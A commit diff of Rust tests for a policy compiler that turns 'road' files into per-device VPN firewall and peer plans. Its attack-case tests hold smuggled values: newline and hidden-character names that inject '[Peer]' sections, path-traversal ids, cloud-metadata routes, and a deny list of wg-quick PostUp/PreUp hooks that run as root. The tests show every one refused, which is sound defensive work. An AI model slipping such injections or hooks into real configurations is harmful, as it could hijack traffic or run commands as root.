[roads] The road model, validator, compiler and explain; proto's versioned CBOR messages; the via command
Road files in Pensum's strict header subset (unknown keys are errors, random ids), the directory and device snapshots, deny-by-default compilation to one plan per device, explain from the compiler's own grants, CBOR envelope v1 with version-first refusals. Tests: the six mandatory ones (validation fixtures for every rule, revocation, the least-privilege property against an independent oracle, determinism with golden plans, explain, custom round-trip), QA's attack cases, the protocol and the CLI.
This commit is contained in:
@@ -0,0 +1,266 @@
|
||||
//! QA's adversarial cases (`Via/qa/02_roads_attacks.md`) that the six mandatory tests do not already cover.
|
||||
//! Each test names the case it answers.
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, at, fw_accepts, key};
|
||||
use roads::{Road, RoadId, compile, rules};
|
||||
|
||||
fn road(id: &str, lines: &[&str]) -> String {
|
||||
format!(
|
||||
"---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n",
|
||||
lines.join("\n")
|
||||
)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r12_roads_are_one_directional() {
|
||||
let c = Parts::home().compile();
|
||||
assert!(fw_accepts(
|
||||
&c,
|
||||
&key(3),
|
||||
"100.96.0.2".parse().unwrap(),
|
||||
Some(("tcp", 443))
|
||||
));
|
||||
// The home server gets no rule into jana-phone, and jana-phone's firewall is empty.
|
||||
assert!(!fw_accepts(
|
||||
&c,
|
||||
&key(2),
|
||||
"100.96.0.3".parse().unwrap(),
|
||||
Some(("tcp", 443))
|
||||
));
|
||||
assert!(c.plans[&key(3)].firewall.rules.is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r10_receiving_side_peers_hold_only_their_own_address() {
|
||||
// A peer that is only a client of this device holds exactly its /32 here; a firewall source always sits on
|
||||
// its own peer, so another peer (an exit's 0.0.0.0/0 included) can never send from it.
|
||||
let c = Parts::home().compile();
|
||||
for plan in c.plans.values() {
|
||||
for rule in &plan.firewall.rules {
|
||||
let own = plan
|
||||
.peers
|
||||
.iter()
|
||||
.find(|p| roads::net::Net::host(p.address.0) == rule.src);
|
||||
assert!(
|
||||
own.is_some_and(|p| p.allowed_ips.contains(&rule.src)),
|
||||
"{}: {rule:?}",
|
||||
plan.name
|
||||
);
|
||||
}
|
||||
}
|
||||
let server = &c.plans[&key(2)];
|
||||
for p in &server.peers {
|
||||
assert_eq!(
|
||||
p.allowed_ips,
|
||||
[roads::net::Net::host(p.address.0)],
|
||||
"{} may source more than itself",
|
||||
p.name
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r05_r07_r08_the_internet_and_special_ranges_are_not_subnets() {
|
||||
let base = Parts::home();
|
||||
for (route, why) in [
|
||||
("0.0.0.0/1", "half the internet"),
|
||||
("128.0.0.0/1", "the other half"),
|
||||
("8.8.8.0/24", "a public subnet"),
|
||||
("127.0.0.0/8", "loopback"),
|
||||
("169.254.169.254/32", "cloud metadata"),
|
||||
("224.0.0.0/4", "multicast"),
|
||||
("::ffff:192.168.100.0/120", "IPv4-mapped IPv6"),
|
||||
("64:ff9b::/96", "NAT64"),
|
||||
("2002::/16", "6to4"),
|
||||
] {
|
||||
let parts = Parts::home().edit_devices(|d| {
|
||||
d.replace(
|
||||
r#""routes": ["192.168.100.0/24"]"#,
|
||||
&format!(r#""routes": ["{route}"]"#),
|
||||
)
|
||||
});
|
||||
let c = parts.compile();
|
||||
assert!(
|
||||
c.problems.iter().any(|p| p.code == rules::DEVICES_ROUTE),
|
||||
"{route} ({why}) accepted as a route"
|
||||
);
|
||||
assert!(c.plans.is_empty());
|
||||
}
|
||||
let _ = base;
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r25_until_extremes_never_panic() {
|
||||
for until in [
|
||||
"0000-01-01T00:00:00Z",
|
||||
"9999-12-31T23:59:59Z",
|
||||
"+10000-01-01T00:00:00Z",
|
||||
"2026-12-31T23:59:60Z",
|
||||
"2026-11-29T23:59:59+24:00",
|
||||
"2026-11-29T23:59:59-23:59",
|
||||
"2026-11-29T23:59:59+99:99",
|
||||
"2026-03-29T02:30:00 Europe/Prague",
|
||||
&format!("2026-11-29T23:59:59.{}Z", "9".repeat(10_000)),
|
||||
] {
|
||||
let text = road(
|
||||
"f00001",
|
||||
&[
|
||||
"subject: person:jana",
|
||||
"verb: can-reach",
|
||||
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
&format!("until: {until}"),
|
||||
],
|
||||
);
|
||||
let parts = Parts::home().with_road("f00001-x.md", &text);
|
||||
let store = parts.store();
|
||||
for now in [
|
||||
"1970-01-01T00:00:00Z",
|
||||
"2026-11-25T12:00:00Z",
|
||||
"9999-12-30T00:00:00Z",
|
||||
] {
|
||||
let _ = compile(&store, at(now));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r31_r33_ids_are_lowercase_and_never_paths() {
|
||||
for s in [
|
||||
"../x", "a/b", "a\\b", ".", "..", "C:x", "", "k3f9q\0", "K3F9Q2", "k3f9q2x", "k3f9qi",
|
||||
] {
|
||||
assert!(RoadId::new(s).is_none(), "{s:?}");
|
||||
}
|
||||
let text = road(
|
||||
"k3f9q2",
|
||||
&[
|
||||
"subject: person:jana",
|
||||
"verb: can-reach",
|
||||
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
],
|
||||
);
|
||||
let err = Road::parse("roads/K3F9Q2-upper.md", text.as_bytes()).unwrap_err();
|
||||
assert!(err.iter().any(|p| p.code == rules::FILE_NAME));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r36_verb_spellings_are_refused() {
|
||||
for v in ["Can-Reach", "can_reach", "canReach", "CAN-REACH", "reach"] {
|
||||
let text = road(
|
||||
"f00002",
|
||||
&[
|
||||
"subject: person:jana",
|
||||
&format!("verb: {v}"),
|
||||
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
|
||||
],
|
||||
);
|
||||
let err = Road::parse("roads/f00002-x.md", text.as_bytes()).unwrap_err();
|
||||
assert!(err.iter().any(|p| p.code == rules::VERB_UNKNOWN), "{v}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r42_names_cannot_carry_lines_or_hidden_characters() {
|
||||
for evil in [
|
||||
"x\n[Peer]",
|
||||
"x\r[Peer]",
|
||||
"x\u{2028}[Peer]",
|
||||
"x\u{85}[Peer]",
|
||||
"Jana\u{202e}",
|
||||
"Ja\u{200b}na",
|
||||
" Jana",
|
||||
] {
|
||||
let json = format!(
|
||||
r#"{{"format":1,"people":[{{"id":"jana","name":{}}}]}}"#,
|
||||
serde_json::to_string(evil).unwrap()
|
||||
);
|
||||
let err = roads::Directory::parse(json.as_bytes()).unwrap_err();
|
||||
assert!(
|
||||
err.iter().any(|p| p.code == rules::DIRECTORY_NAME),
|
||||
"{evil:?}"
|
||||
);
|
||||
}
|
||||
// Device names are only a-z 0-9 -.
|
||||
let parts = Parts::home()
|
||||
.edit_devices(|d| d.replace(r#""name": "router""#, r#""name": "router\n[Peer]""#));
|
||||
assert!(
|
||||
parts
|
||||
.compile()
|
||||
.problems
|
||||
.iter()
|
||||
.any(|p| p.code == rules::DEVICES_NAME)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn r56_a_large_store_compiles_in_bounded_time() {
|
||||
// 2,000 devices, 400 people, 10,000 roads (the store limit). Recorded in the PR; the bound is generous for debug builds.
|
||||
let people = 400;
|
||||
let mut directory = String::from(r#"{"format":1,"people":["#);
|
||||
directory += &(0..people)
|
||||
.map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",");
|
||||
directory += r#"],"groups":[{"id":"all","name":"All","members":["#;
|
||||
directory += &(0..people)
|
||||
.map(|p| format!("\"p{p}\""))
|
||||
.collect::<Vec<_>>()
|
||||
.join(",");
|
||||
directory += "]}]}";
|
||||
let devs = 2_000usize;
|
||||
let mut devices = String::from(r#"{"format":1,"devices":["#);
|
||||
devices += &(0..devs)
|
||||
.map(|i| {
|
||||
let mut b = [0u8; 32];
|
||||
b[..8].copy_from_slice(&(i as u64 + 1).to_be_bytes());
|
||||
let k = roads::DeviceKey::from_bytes(&b);
|
||||
let svc = if i % 10 == 0 {
|
||||
format!(r#","services":[{{"host":"s{i}.test","ports":["tcp/443"]}}]"#)
|
||||
} else {
|
||||
String::new()
|
||||
};
|
||||
format!(
|
||||
r#"{{"key":"{k}","name":"d{i}","owner":"p{}","address":"100.{}.{}.{}"{svc}}}"#,
|
||||
i % people,
|
||||
64 + i / 65536,
|
||||
(i / 256) % 256,
|
||||
i % 256
|
||||
)
|
||||
})
|
||||
.collect::<Vec<_>>()
|
||||
.join(",");
|
||||
devices += "]}";
|
||||
let roads: Vec<(String, Vec<u8>)> = (0..10_000usize)
|
||||
.map(|i| {
|
||||
let id = format!("{i:06}");
|
||||
let subject = if i % 100 == 0 {
|
||||
"group:all".to_string()
|
||||
} else {
|
||||
format!("person:p{}", i % people)
|
||||
};
|
||||
let text = road(
|
||||
&id,
|
||||
&[
|
||||
&format!("subject: {subject}"),
|
||||
"verb: can-reach",
|
||||
&format!("object: service:s{}.test", (i % (devs / 10)) * 10),
|
||||
],
|
||||
);
|
||||
(format!("{id}-r.md"), text.into_bytes())
|
||||
})
|
||||
.collect();
|
||||
let t = std::time::Instant::now();
|
||||
let store =
|
||||
roads::Store::from_parts(&roads, Some(directory.as_bytes()), Some(devices.as_bytes()));
|
||||
let c = compile(&store, common::now());
|
||||
let took = t.elapsed();
|
||||
let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum();
|
||||
eprintln!(
|
||||
"r56: {} roads, {devs} devices, {} grants, {rules} firewall rules in {took:?}",
|
||||
store.roads.len(),
|
||||
c.grants.len()
|
||||
);
|
||||
assert_eq!(c.errors().count(), 0, "{:?}", c.problems.first());
|
||||
assert!(took < std::time::Duration::from_secs(60), "took {took:?}");
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
//! Shared test helpers: the `home` fixture store and in-memory stores. No real network, no real keys: device
|
||||
//! keys are 32 repeated bytes.
|
||||
|
||||
#![allow(dead_code)]
|
||||
|
||||
use jiff::Timestamp as Instant;
|
||||
use roads::{Compiled, DeviceKey, Store, compile};
|
||||
use std::path::PathBuf;
|
||||
|
||||
pub const NOW: &str = "2026-11-25T12:00:00+01:00";
|
||||
|
||||
pub fn now() -> Instant {
|
||||
at(NOW)
|
||||
}
|
||||
|
||||
pub fn at(s: &str) -> Instant {
|
||||
s.parse().unwrap()
|
||||
}
|
||||
|
||||
/// The fixture device key `n`: 32 bytes of `n`.
|
||||
pub fn key(n: u8) -> DeviceKey {
|
||||
DeviceKey::from_bytes(&[n; 32])
|
||||
}
|
||||
|
||||
pub fn fixtures() -> PathBuf {
|
||||
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
|
||||
.join("tests")
|
||||
.join("fixtures")
|
||||
}
|
||||
|
||||
pub fn home_dir() -> PathBuf {
|
||||
fixtures().join("home")
|
||||
}
|
||||
|
||||
/// The home store as bytes: road files (name, contents), directory.json, devices.json.
|
||||
pub struct Parts {
|
||||
pub roads: Vec<(String, Vec<u8>)>,
|
||||
pub directory: Vec<u8>,
|
||||
pub devices: Vec<u8>,
|
||||
}
|
||||
|
||||
impl Parts {
|
||||
pub fn home() -> Parts {
|
||||
let dir = home_dir();
|
||||
let mut roads = Vec::new();
|
||||
for e in std::fs::read_dir(dir.join("roads")).unwrap() {
|
||||
let e = e.unwrap();
|
||||
roads.push((
|
||||
e.file_name().to_string_lossy().into_owned(),
|
||||
std::fs::read(e.path()).unwrap(),
|
||||
));
|
||||
}
|
||||
roads.sort();
|
||||
Parts {
|
||||
roads,
|
||||
directory: std::fs::read(dir.join("directory.json")).unwrap(),
|
||||
devices: std::fs::read(dir.join("devices.json")).unwrap(),
|
||||
}
|
||||
}
|
||||
|
||||
pub fn store(&self) -> Store {
|
||||
Store::from_parts(&self.roads, Some(&self.directory), Some(&self.devices))
|
||||
}
|
||||
|
||||
pub fn compile(&self) -> Compiled {
|
||||
compile(&self.store(), now())
|
||||
}
|
||||
|
||||
pub fn with_road(mut self, name: &str, text: &str) -> Parts {
|
||||
self.roads
|
||||
.push((name.to_string(), text.as_bytes().to_vec()));
|
||||
self
|
||||
}
|
||||
|
||||
pub fn without_road(mut self, prefix: &str) -> Parts {
|
||||
let before = self.roads.len();
|
||||
self.roads.retain(|(n, _)| !n.starts_with(prefix));
|
||||
assert_eq!(
|
||||
self.roads.len() + 1,
|
||||
before,
|
||||
"no road file starts with {prefix}"
|
||||
);
|
||||
self
|
||||
}
|
||||
|
||||
pub fn road_text(&self, prefix: &str) -> String {
|
||||
let (_, b) = self
|
||||
.roads
|
||||
.iter()
|
||||
.find(|(n, _)| n.starts_with(prefix))
|
||||
.expect("a road");
|
||||
String::from_utf8(b.clone()).unwrap()
|
||||
}
|
||||
|
||||
pub fn replace_road(mut self, prefix: &str, text: &str) -> Parts {
|
||||
let slot = self
|
||||
.roads
|
||||
.iter_mut()
|
||||
.find(|(n, _)| n.starts_with(prefix))
|
||||
.expect("a road");
|
||||
slot.1 = text.as_bytes().to_vec();
|
||||
self
|
||||
}
|
||||
|
||||
pub fn edit_devices(mut self, f: impl FnOnce(&str) -> String) -> Parts {
|
||||
self.devices = f(std::str::from_utf8(&self.devices).unwrap()).into_bytes();
|
||||
self
|
||||
}
|
||||
|
||||
pub fn edit_directory(mut self, f: impl FnOnce(&str) -> String) -> Parts {
|
||||
self.directory = f(std::str::from_utf8(&self.directory).unwrap()).into_bytes();
|
||||
self
|
||||
}
|
||||
}
|
||||
|
||||
/// Every plan as JSON, in device order: the bytes the determinism tests compare.
|
||||
pub fn plans_bytes(c: &Compiled) -> Vec<u8> {
|
||||
let mut out = Vec::new();
|
||||
for p in c.plans.values() {
|
||||
out.extend_from_slice(p.to_json().as_bytes());
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Whether `from` may open a connection to `dst` on the receiving side, according to the plans: the
|
||||
/// firewall of the device that owns or routes `dst` has a rule from `from`'s address.
|
||||
pub fn fw_accepts(
|
||||
c: &Compiled,
|
||||
from: &DeviceKey,
|
||||
dst: std::net::IpAddr,
|
||||
proto_port: Option<(&str, u16)>,
|
||||
) -> bool {
|
||||
let src = c.plans[from].address;
|
||||
c.plans.values().any(|p| {
|
||||
p.firewall.rules.iter().any(|r| {
|
||||
let dst_ok = match r.dst {
|
||||
roads::plan::Dst::Net(n) => n.contains_addr(&dst),
|
||||
roads::plan::Dst::Internet => roads::net::Net::host(dst).reaches_internet(),
|
||||
};
|
||||
let port_ok = match (r.proto, r.ports, proto_port) {
|
||||
(roads::ports::Proto::Any, _, _) => true,
|
||||
(_, _, None) => false,
|
||||
(proto, ports, Some((want, port))) => {
|
||||
format!("{proto:?}").eq_ignore_ascii_case(want)
|
||||
&& ports.is_none_or(|[lo, hi]| lo <= port && port <= hi)
|
||||
}
|
||||
};
|
||||
r.src.contains_addr(&src.0) && dst_ok && port_ok
|
||||
})
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,132 @@
|
||||
//! Mandatory test 6: custom roads round-trip unchanged — file → road → canonical file, and road → plan —
|
||||
//! with awkward raw content; and a custom raw block changes no other device's plan (QA R-40, R-43).
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, key, plans_bytes};
|
||||
use roads::{Body, Road};
|
||||
|
||||
const KEY5: &str = "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU";
|
||||
|
||||
fn custom_file(id: &str, raw: &str) -> String {
|
||||
format!(
|
||||
"---\nid: {id}\nsubject: device:{KEY5}\nverb: custom\nclassic: true\ncreated: 2026-11-25T10:00:00+01:00\n---\n```raw\n{raw}```\n"
|
||||
)
|
||||
}
|
||||
|
||||
/// Raw blocks that must come back byte for byte.
|
||||
fn awkward() -> Vec<&'static str> {
|
||||
vec![
|
||||
"",
|
||||
"[Interface]\nMTU = 1380 \n",
|
||||
"[Peer]\r\nPublicKey = AAAA\r\nAllowedIPs = 10.9.0.0/24\r\n",
|
||||
"\tJc = 4\n; a semicolon comment\n# a hash comment\nH1 = 1\nH1 = 2\n",
|
||||
"```\nnot the end\n```\nstill raw\n",
|
||||
"unicode: Přidat řazení ✓\n\n\n",
|
||||
"trailing spaces \n \n",
|
||||
"---\nid: zzzzzz\n---\n",
|
||||
]
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_fixture_custom_road_renders_back_to_its_own_bytes() {
|
||||
let parts = Parts::home();
|
||||
let text = parts.road_text("x1d7qa");
|
||||
let road = Road::parse("roads/x1d7qa-router-imported.md", text.as_bytes()).unwrap();
|
||||
assert_eq!(road.render(), text);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn awkward_raw_blocks_round_trip_byte_for_byte() {
|
||||
for (i, raw) in awkward().into_iter().enumerate() {
|
||||
let id = format!("e0000{i}");
|
||||
let text = custom_file(&id, raw);
|
||||
let road = Road::parse(&format!("roads/{id}-x.md"), text.as_bytes())
|
||||
.unwrap_or_else(|p| panic!("{raw:?}: {p:?}"));
|
||||
assert_eq!(road.body, Body::Raw(raw.to_string()), "{raw:?}");
|
||||
let again = road.render();
|
||||
assert_eq!(again, text, "{raw:?} did not render back");
|
||||
assert_eq!(
|
||||
Road::parse(&format!("roads/{id}-x.md"), again.as_bytes()).unwrap(),
|
||||
road
|
||||
);
|
||||
|
||||
// Through the compiler: the plan carries the raw block unchanged, labelled classic.
|
||||
let c = Parts::home()
|
||||
.with_road(&format!("{id}-x.md"), &text)
|
||||
.compile();
|
||||
let plan = &c.plans[&key(5)];
|
||||
let mine = plan
|
||||
.custom
|
||||
.iter()
|
||||
.find(|x| x.road.as_str() == id)
|
||||
.expect("the custom block");
|
||||
assert_eq!(mine.raw, raw);
|
||||
assert!(mine.classic);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_crlf_file_keeps_its_raw_bytes() {
|
||||
let text = "---\r\nid: e00100\r\nsubject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU\r\nverb: custom\r\ncreated: 2026-11-25T10:00:00+01:00\r\n---\r\n```raw\r\n[Peer]\r\nX = 1\r\n```\r\n";
|
||||
let road = Road::parse("roads/e00100-crlf.md", text.as_bytes()).unwrap();
|
||||
assert_eq!(road.body, Body::Raw("[Peer]\r\nX = 1\r\n".into()));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_canonical_road_in_the_home_store_renders_back_to_its_bytes() {
|
||||
for (name, bytes) in Parts::home().roads {
|
||||
let road = Road::parse(&format!("roads/{name}"), &bytes).unwrap();
|
||||
assert_eq!(road.render().as_bytes(), &bytes[..], "{name}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_raw_block_with_a_peer_changes_no_other_plan() {
|
||||
// QA R-40: an expert paste of a whole-network peer stays inside its own device's `custom` list.
|
||||
let base = Parts::home().compile();
|
||||
let raw = "[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n";
|
||||
let c = Parts::home()
|
||||
.with_road("e00200-paste.md", &custom_file("e00200", raw))
|
||||
.compile();
|
||||
for (k, p) in &base.plans {
|
||||
if *k == key(5) {
|
||||
assert_eq!(c.plans[k].peers, p.peers, "the router's own peers changed");
|
||||
assert_eq!(c.plans[k].firewall, p.firewall);
|
||||
continue;
|
||||
}
|
||||
assert_eq!(c.plans[k].to_json(), p.to_json(), "{} changed", p.name);
|
||||
}
|
||||
assert_ne!(
|
||||
plans_bytes(&c),
|
||||
plans_bytes(&base),
|
||||
"the block is carried in the router's plan"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hooks_in_a_raw_block_are_refused_in_any_spelling() {
|
||||
// QA R-41: wg-quick runs these with bash as root.
|
||||
for line in [
|
||||
"PostUp = x",
|
||||
"postup=x",
|
||||
" PreUp = x",
|
||||
"PreDown = x",
|
||||
"PostDown = x",
|
||||
"SaveConfig = true",
|
||||
"Table = off",
|
||||
"FwMark = 51820",
|
||||
" POSTUP =x",
|
||||
] {
|
||||
let text = custom_file("e00300", &format!("[Interface]\n{line}\n"));
|
||||
let err = Road::parse("roads/e00300-hook.md", text.as_bytes()).unwrap_err();
|
||||
assert!(
|
||||
err.iter()
|
||||
.any(|p| p.code == roads::rules::BODY_RAW_HOOK && p.line == Some(10)),
|
||||
"{line}: {err:?}"
|
||||
);
|
||||
}
|
||||
// A key that merely contains a hook's name is fine.
|
||||
let text = custom_file("e00301", "PostUpgradeNote = no\n");
|
||||
assert!(Road::parse("roads/e00301-ok.md", text.as_bytes()).is_ok());
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
//! Mandatory test 4: the same input compiles byte-identically — twice, with every input list shuffled, with
|
||||
//! CRLF road files, and against committed golden plans (`tests/fixtures/home/expected/`, regenerated with
|
||||
//! `VIA_BLESS=1` only on purpose).
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, home_dir, plans_bytes};
|
||||
|
||||
#[test]
|
||||
fn the_same_input_gives_the_same_bytes_twice() {
|
||||
let a = plans_bytes(&Parts::home().compile());
|
||||
let b = plans_bytes(&Parts::home().compile());
|
||||
assert!(!a.is_empty());
|
||||
assert_eq!(a, b);
|
||||
}
|
||||
|
||||
fn reversed_json_lists(text: &str, open: &str) -> String {
|
||||
// Reverses the one-line items of the JSON list that starts at `open` (the fixtures keep one item per
|
||||
// line, multi-line items are joined first).
|
||||
let start = text.find(open).unwrap() + open.len();
|
||||
let end = start + text[start..].find("\n ]").unwrap();
|
||||
let body = &text[start..end];
|
||||
let mut items: Vec<String> = Vec::new();
|
||||
let mut cur = String::new();
|
||||
let mut depth = 0i32;
|
||||
for ch in body.chars() {
|
||||
match ch {
|
||||
'{' | '[' => depth += 1,
|
||||
'}' | ']' => depth -= 1,
|
||||
_ => {}
|
||||
}
|
||||
if ch == ',' && depth == 0 {
|
||||
items.push(cur.trim().to_string());
|
||||
cur.clear();
|
||||
} else {
|
||||
cur.push(ch);
|
||||
}
|
||||
}
|
||||
items.push(cur.trim().to_string());
|
||||
items.reverse();
|
||||
format!(
|
||||
"{}\n {}{}",
|
||||
&text[..start],
|
||||
items.join(",\n "),
|
||||
&text[end..]
|
||||
)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shuffled_inputs_give_the_same_bytes() {
|
||||
// QA R-53: file order, people, devices and group members reversed.
|
||||
let base = plans_bytes(&Parts::home().compile());
|
||||
let mut parts = Parts::home();
|
||||
parts.roads.reverse();
|
||||
let parts = parts
|
||||
.edit_devices(|d| reversed_json_lists(d, "\"devices\": ["))
|
||||
.edit_directory(|d| {
|
||||
reversed_json_lists(d, "\"people\": [")
|
||||
.replace(r#"["mark", "jana"]"#, r#"["jana", "mark"]"#)
|
||||
});
|
||||
assert_ne!(
|
||||
parts.devices,
|
||||
Parts::home().devices,
|
||||
"the device list really was reordered"
|
||||
);
|
||||
assert_eq!(plans_bytes(&parts.compile()), base);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn crlf_road_files_compile_like_lf_ones() {
|
||||
// QA R-39. The custom road's raw block is kept byte for byte, CR included, so it stays LF here.
|
||||
let base = plans_bytes(&Parts::home().compile());
|
||||
let mut parts = Parts::home();
|
||||
for (name, bytes) in parts.roads.iter_mut() {
|
||||
if !name.starts_with("x1d7qa") {
|
||||
*bytes = String::from_utf8(bytes.clone())
|
||||
.unwrap()
|
||||
.replace('\n', "\r\n")
|
||||
.into_bytes();
|
||||
}
|
||||
}
|
||||
let c = parts.compile();
|
||||
assert_eq!(c.errors().count(), 0, "{:?}", c.problems);
|
||||
assert_eq!(plans_bytes(&c), base);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn plans_match_the_committed_golden_files() {
|
||||
// QA R-54: no paths, no clock, no locale in the output; the same bytes on every platform.
|
||||
let c = Parts::home().compile();
|
||||
let dir = home_dir().join("expected");
|
||||
let bless = std::env::var_os("VIA_BLESS").is_some();
|
||||
if bless {
|
||||
std::fs::create_dir_all(&dir).unwrap();
|
||||
}
|
||||
for p in c.plans.values() {
|
||||
let path = dir.join(format!("{}.json", p.name));
|
||||
if bless {
|
||||
std::fs::write(&path, p.to_json()).unwrap();
|
||||
continue;
|
||||
}
|
||||
let want = std::fs::read_to_string(&path)
|
||||
.unwrap_or_else(|_| panic!("missing golden {}", path.display()));
|
||||
assert_eq!(p.to_json(), want, "{} differs from its golden file", p.name);
|
||||
}
|
||||
assert_eq!(
|
||||
std::fs::read_dir(&dir).unwrap().count(),
|
||||
c.plans.len(),
|
||||
"a golden file without a device"
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
//! Mandatory test 5: `explain` returns exactly the roads that allow access, and nothing when access is denied
|
||||
//! — expired, invalid and custom roads included in the store.
|
||||
|
||||
mod common;
|
||||
|
||||
use common::{Parts, key};
|
||||
use roads::net::Net;
|
||||
use roads::{Hostname, Place, explain};
|
||||
|
||||
fn ids(parts: &Parts, device: u8, place: &Place) -> Vec<String> {
|
||||
let c = parts.compile();
|
||||
let store = parts.store();
|
||||
explain(&c, store.devices.as_ref().unwrap(), &key(device), place)
|
||||
.iter()
|
||||
.map(|r| r.to_string())
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn service(h: &str) -> Place {
|
||||
Place::Service(Hostname::new(h).unwrap())
|
||||
}
|
||||
|
||||
fn subnet(s: &str) -> Place {
|
||||
Place::Subnet(Net::parse_canonical(s).unwrap())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn allowed_lists_exactly_the_allowing_roads() {
|
||||
let home = Parts::home();
|
||||
assert_eq!(
|
||||
ids(&home, 3, &service("photos.home.arpa")),
|
||||
["7tq0mz", "k3f9q2"]
|
||||
);
|
||||
assert_eq!(
|
||||
ids(&home, 3, &Place::Device(key(2))),
|
||||
["7tq0mz", "k3f9q2"],
|
||||
"a service road reaches part of the device"
|
||||
);
|
||||
assert_eq!(ids(&home, 1, &subnet("192.168.100.0/24")), ["h2x8vd"]);
|
||||
assert_eq!(
|
||||
ids(&home, 1, &subnet("192.168.100.10/32")),
|
||||
["h2x8vd"],
|
||||
"a part of a granted subnet"
|
||||
);
|
||||
assert_eq!(
|
||||
ids(&home, 5, &Place::Device(key(2))),
|
||||
["r8m2tg"],
|
||||
"the custom road is not a grant"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn each_listed_road_is_enough_on_its_own() {
|
||||
// The listed set is the compiler's own: keep only one listed road and access remains.
|
||||
let home = Parts::home();
|
||||
for keep in ["7tq0mz", "k3f9q2"] {
|
||||
let mut only = Parts::home();
|
||||
only.roads.retain(|(n, _)| n.starts_with(keep));
|
||||
assert_eq!(ids(&only, 3, &service("photos.home.arpa")), [keep]);
|
||||
}
|
||||
let _ = home;
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn denied_returns_nothing_even_with_expired_and_invalid_roads_about_the_place() {
|
||||
let parts = Parts::home().with_road(
|
||||
"d00001-jana-lan.md",
|
||||
"---\nid: d00001\nsubject: person:jana\nverb: can-reach\nobject: subnet:192.168.100.0/24\nuntill: 2026-12-01T00:00:00Z\ncreated: 2026-11-25T10:00:00Z\n---\n",
|
||||
);
|
||||
assert!(parts.compile().errors().any(|p| p.path.contains("d00001")));
|
||||
assert!(ids(&parts, 3, &subnet("192.168.100.0/24")).is_empty());
|
||||
assert!(
|
||||
ids(&parts, 7, &service("git.home.arpa")).is_empty(),
|
||||
"the expired road is not listed"
|
||||
);
|
||||
assert!(ids(&parts, 7, &Place::Device(key(2))).is_empty());
|
||||
assert!(
|
||||
ids(&parts, 3, &subnet("10.0.0.0/8")).is_empty(),
|
||||
"a place nobody routes"
|
||||
);
|
||||
assert!(
|
||||
ids(&parts, 3, &service("nowhere.home.arpa")).is_empty(),
|
||||
"a place that does not exist"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn exits_count_for_the_internet_but_not_for_private_ranges() {
|
||||
let home = Parts::home();
|
||||
assert_eq!(ids(&home, 7, &Place::Exit(key(6))), ["c0z5wn"]);
|
||||
assert_eq!(ids(&home, 7, &subnet("8.8.8.0/24")), ["c0z5wn"]);
|
||||
assert!(
|
||||
ids(&home, 7, &subnet("192.168.1.0/24")).is_empty(),
|
||||
"an exit is not a way into its LAN"
|
||||
);
|
||||
assert!(ids(&home, 7, &Place::Exit(key(2))).is_empty());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn going_direct_takes_a_subnet_out_of_the_exit_unless_the_kill_switch_wins() {
|
||||
let direct = "---\nid: d00002\nsubject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE\nverb: goes-direct\nobject: subnet:8.8.8.0/24\ncreated: 2026-11-25T10:00:00Z\n---\n";
|
||||
// mark-pc has a kill switch: it wins, so 8.8.8.0/24 still goes through the exit.
|
||||
let with_kill = Parts::home().with_road("d00002-direct.md", direct);
|
||||
assert_eq!(ids(&with_kill, 1, &subnet("8.8.8.0/24")), ["p4n6rb"]);
|
||||
assert!(
|
||||
with_kill
|
||||
.compile()
|
||||
.problems
|
||||
.iter()
|
||||
.any(|p| p.code == roads::rules::DIRECT_KILL_SWITCH && p.path.contains("d00002"))
|
||||
);
|
||||
// Without the kill switch the subnet goes direct, and the exit road no longer explains it.
|
||||
let without = Parts::home()
|
||||
.without_road("w9c3ke")
|
||||
.with_road("d00002-direct.md", direct);
|
||||
assert!(ids(&without, 1, &subnet("8.8.8.0/24")).is_empty());
|
||||
assert_eq!(ids(&without, 1, &subnet("1.1.1.0/24")), ["p4n6rb"]);
|
||||
}
|
||||
